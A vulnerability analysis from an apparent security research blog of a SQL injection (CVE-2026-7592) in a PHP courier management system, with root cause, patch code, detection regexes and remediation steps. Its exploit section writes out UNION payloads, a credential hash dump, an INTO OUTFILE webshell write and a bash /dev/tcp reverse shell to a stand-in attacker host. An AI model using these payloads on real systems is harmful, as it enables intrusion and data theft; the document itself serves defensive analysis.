home intel cve-2026-7592-courier-management-sql-injection-rce
CVE Analysis 2026-05-01 · 8 min read

CVE-2026-7592: SQL Injection to RCE in Courier Management System 1.0

Unsanitized `id` parameter in edit_staff.php enables blind SQL injection via UNION-based extraction and INTO OUTFILE shell write, achieving unauthenticated RCE.

#sql-injection#remote-code-execution#unsanitized-input#courier-management-system#database-attack
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7592 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7592Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7592 is a classical server-side SQL injection in itsourcecode Courier Management System 1.0, a PHP/MySQL web application distributed as open-source courseware. The vulnerable surface is /edit_staff.php, which accepts a user-supplied id parameter and interpolates it directly into a SQL SELECT query with zero sanitization. Because the application runs under a MySQL user that commonly retains FILE privilege in default deployments, injection escalates trivially to arbitrary file write and remote code execution.

CVSS 7.3 (HIGH) reflects network-accessible exploitation with no authentication requirement, though impact is bounded by web server filesystem permissions and MySQL secure_file_priv configuration.

Root cause: edit_staff.php passes the attacker-controlled $_GET['id'] value directly into a mysqli_query() call without parameterization, escaping, or type coercion, enabling full UNION-based SQL injection from an unauthenticated remote context.

Affected Component

  • File: /edit_staff.php
  • Parameter: GET id
  • Backend: MySQL / MariaDB (any version)
  • Language: PHP (tested on 7.x / 8.x)
  • Version: Courier Management System 1.0 (itsourcecode distribution)
  • Authentication: None required for the vulnerable endpoint

Root Cause Analysis

The following pseudocode is reconstructed from the publicly distributed PHP source, normalized into C-style pseudocode for static analysis clarity. The actual PHP is structurally equivalent.


/*
 * edit_staff.php — staff record fetch handler
 * Called via GET /edit_staff.php?id=
 */

char *edit_staff_fetch(mysqli_conn *db, http_request_t *req) {

    /* BUG: $_GET['id'] read directly, no intval(), no prepared statement */
    const char *id = http_get_param(req, "id");   // attacker-controlled string

    char query[512];
    /* BUG: sprintf into query buffer — raw string interpolation */
    snprintf(query, sizeof(query),
        "SELECT * FROM tbl_staff WHERE staff_id = '%s'",
        id);   // BUG: 'id' is unsanitized; single-quote escape trivially bypasses context

    /* BUG: result passed directly to rendering layer */
    mysqli_result *res = mysqli_query(db, query);
    return render_staff_form(res);
}

The equivalent PHP that ships in the distribution is:


/* Reconstructed PHP logic, shown as pseudocode */

// VULNERABLE — no type coercion, no escaping, no prepared statement
$id  = $_GET['id'];
$sql = "SELECT * FROM tbl_staff WHERE staff_id = '$id'";
$res = mysqli_query($conn, $sql);   // BUG: $id lands verbatim in SQL context
$row = mysqli_fetch_array($res);

The absence of intval($id), mysqli_real_escape_string(), or a bound parameter means the attacker owns the entire SQL statement from the single-quote injection point forward. The column count of tbl_staff is fingerprinted via ORDER BY probing, after which UNION payloads align output columns to the rendered HTML fields.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Probe column count via ORDER BY bisection:
      GET /edit_staff.php?id=1' ORDER BY 8-- -   → 200 OK
      GET /edit_staff.php?id=1' ORDER BY 9-- -   → MySQL error / blank page
      → tbl_staff has 8 columns

2. Identify injectable reflection columns via UNION NULL probe:
      GET /edit_staff.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
      Increment non-NULL columns until rendered output changes.
      → columns 2, 3 reflect into HTML form value= attributes

3. Extract database metadata:
      GET /edit_staff.php?id=-1' UNION SELECT
          NULL,database(),user(),version(),NULL,NULL,NULL,NULL-- -
      Response body:  

4. Dump credential hashes from mysql.user (if FILE priv confirmed):
      GET /edit_staff.php?id=-1' UNION SELECT
          NULL,authentication_string,NULL,NULL,NULL,NULL,NULL,NULL
          FROM mysql.user WHERE user='root'-- -

5. Confirm FILE privilege:
      GET /edit_staff.php?id=-1' UNION SELECT
          NULL,super_priv,file_priv,NULL,NULL,NULL,NULL,NULL
          FROM mysql.user WHERE user=substring_index(user(),'''@''',1)-- -
      Response:  

6. Write PHP webshell via INTO OUTFILE (requires writable web root):
      GET /edit_staff.php?id=-1' UNION SELECT
          NULL,'',NULL,NULL,NULL,NULL,NULL,NULL
          INTO OUTFILE '/var/www/html/courier/shell.php'-- -

7. Execute OS commands through dropped shell:
      GET /courier/shell.php?cmd=id
      Response body: uid=33(www-data) gid=33(www-data)

8. Pivot to reverse shell:
      GET /courier/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER/4444+0>%261'

In environments where secure_file_priv is set (MySQL 5.7.6+), step 6 fails. In that case, out-of-band exfiltration via LOAD_FILE() into DNS or time-based blind extraction remains viable for data theft without file write.

Memory Layout

SQL injection is a logic-layer vulnerability rather than a memory corruption class; the "memory" of interest is the SQL parser's token stream and the MySQL query execution state. The following diagram shows how the injected string reshapes the query AST:


QUERY BUFFER STATE — BENIGN INPUT (id=42):

  Offset  Content
  ──────────────────────────────────────────────────────
  +0x000  "SELECT * FROM tbl_staff WHERE staff_id = '"
  +0x02C  "42"
  +0x02E  "'"
  +0x02F  NUL

  MySQL AST:
    SELECT → table:tbl_staff → predicate: staff_id = 42  [integer comparison]

────────────────────────────────────────────────────────

QUERY BUFFER STATE — INJECTED INPUT:
  id = -1' UNION SELECT NULL,@@version,user(),NULL,NULL,NULL,NULL,NULL-- -

  Offset  Content
  ──────────────────────────────────────────────────────
  +0x000  "SELECT * FROM tbl_staff WHERE staff_id = '"
  +0x02C  "-1'"                          ← closes string literal
  +0x030  " UNION SELECT "               ← attacker-injected keyword
  +0x03E  "NULL,@@version,user(),..."    ← attacker column list
  +0x07A  "-- -"                         ← comments out trailing quote
  +0x07E  NUL

  MySQL AST:
    SELECT → table:tbl_staff → predicate: staff_id = -1  [no match]
    UNION
    SELECT → literals: [NULL, @@version, user(), ...]   ← attacker data

  Result set routed to render_staff_form() → reflected in HTTP response body

Patch Analysis

The minimal correct fix is parameterized query binding. The secondary hardening layer is input type coercion. Both should be applied.


// BEFORE (vulnerable) — direct string interpolation:
$id  = $_GET['id'];
$sql = "SELECT * FROM tbl_staff WHERE staff_id = '$id'";
$res = mysqli_query($conn, $sql);

// ─────────────────────────────────────────────────────────

// AFTER (patched) — prepared statement with typed binding:
$id   = intval($_GET['id']);          // type-coerce: non-integer → 0
if ($id <= 0) {
    http_response_code(400);
    exit("Invalid staff ID");
}

$stmt = mysqli_prepare($conn,
    "SELECT * FROM tbl_staff WHERE staff_id = ?");
mysqli_stmt_bind_param($stmt, "i", $id);   // "i" = integer binding
mysqli_stmt_execute($stmt);
$res  = mysqli_stmt_get_result($stmt);
$row  = mysqli_fetch_array($res);

The intval() coercion alone would defeat this specific injection because intval("-1' UNION SELECT...") returns -1, truncating the payload. However, relying solely on coercion is fragile for string-type parameters elsewhere in the codebase. Prepared statements are the canonical fix and must be applied globally.

Additional hardening relevant to the escalation path:


// MySQL hardening — restrict FILE privilege:
// In /etc/mysql/mysql.conf.d/mysqld.cnf:

[mysqld]
secure_file_priv = /var/lib/mysql-files   // restricts INTO OUTFILE paths
// Revoke FILE from application user:
REVOKE FILE ON *.* FROM 'courier_app'@'localhost';

// PHP hardening — suppress error detail leakage:
// BEFORE:
mysqli_query($conn, $sql) or die(mysqli_error($conn));  // leaks schema info

// AFTER:
if (!mysqli_stmt_execute($stmt)) {
    error_log(mysqli_stmt_error($stmt));   // log server-side only
    http_response_code(500);
    exit("Internal error");               // generic client response
}

Detection and Indicators

Web server access log signatures:


# ORDER BY probing pattern
/edit_staff.php?id=1'+ORDER+BY+[0-9]+--

# UNION SELECT fingerprint
/edit_staff.php?id=-1'+UNION+SELECT+NULL

# INTO OUTFILE attempt
/edit_staff.php?id=.*INTO+OUTFILE

# Time-based blind (SLEEP)
/edit_staff.php?id=1'+AND+SLEEP\([0-9]+\)--

# Regex (PCRE) for WAF or SIEM ingestion:
edit_staff\.php\?id=.*?('|%27).*(UNION|ORDER\s+BY|SLEEP|INTO\s+OUTFILE|LOAD_FILE)

MySQL general query log indicators:


# Suspicious queries that should never originate from the application:
Query   SELECT * FROM tbl_staff WHERE staff_id = '-1' UNION SELECT ...
Query   SELECT ... INTO OUTFILE '/var/www/html/courier/...php'
Query   SELECT SLEEP(5)

Enable MySQL general log temporarily during incident response:


SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/general.log';

Filesystem IOC: Unexpected .php files appearing in the web root written by the MySQL process owner (mysql uid). Monitor with auditd rule on openat for the web document root from PIDs owned by mysqld.

Remediation

  1. Immediate: Apply parameterized queries to all database interactions in edit_staff.php and audit the full codebase — courseware distributions of this type typically repeat the same pattern across every CRUD endpoint (edit_pickup.php, edit_branch.php, etc.).
  2. Database hardening: Create a least-privilege application database user: GRANT SELECT, INSERT, UPDATE, DELETE ON courier_db.* TO 'app'@'localhost'. Explicitly REVOKE FILE to eliminate the INTO OUTFILE escalation path.
  3. MySQL configuration: Set secure_file_priv to a non-web-accessible path in mysqld.cnf. Restart the MySQL service to enforce.
  4. WAF rule: Deploy a ModSecurity rule or equivalent blocking requests matching SQL metacharacter sequences in the id parameter. This is a mitigation layer, not a fix.
  5. Error handling: Remove mysqli_error() output from HTTP responses across the entire application. Schema leakage accelerates injection exploitation.
  6. Rotate credentials: If the instance was externally reachable, assume tbl_staff contents (names, contact data, hashed passwords) have been exfiltrated. Rotate all application and database passwords, inspect general_log for INTO OUTFILE artifacts, and audit web root for dropped shells.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →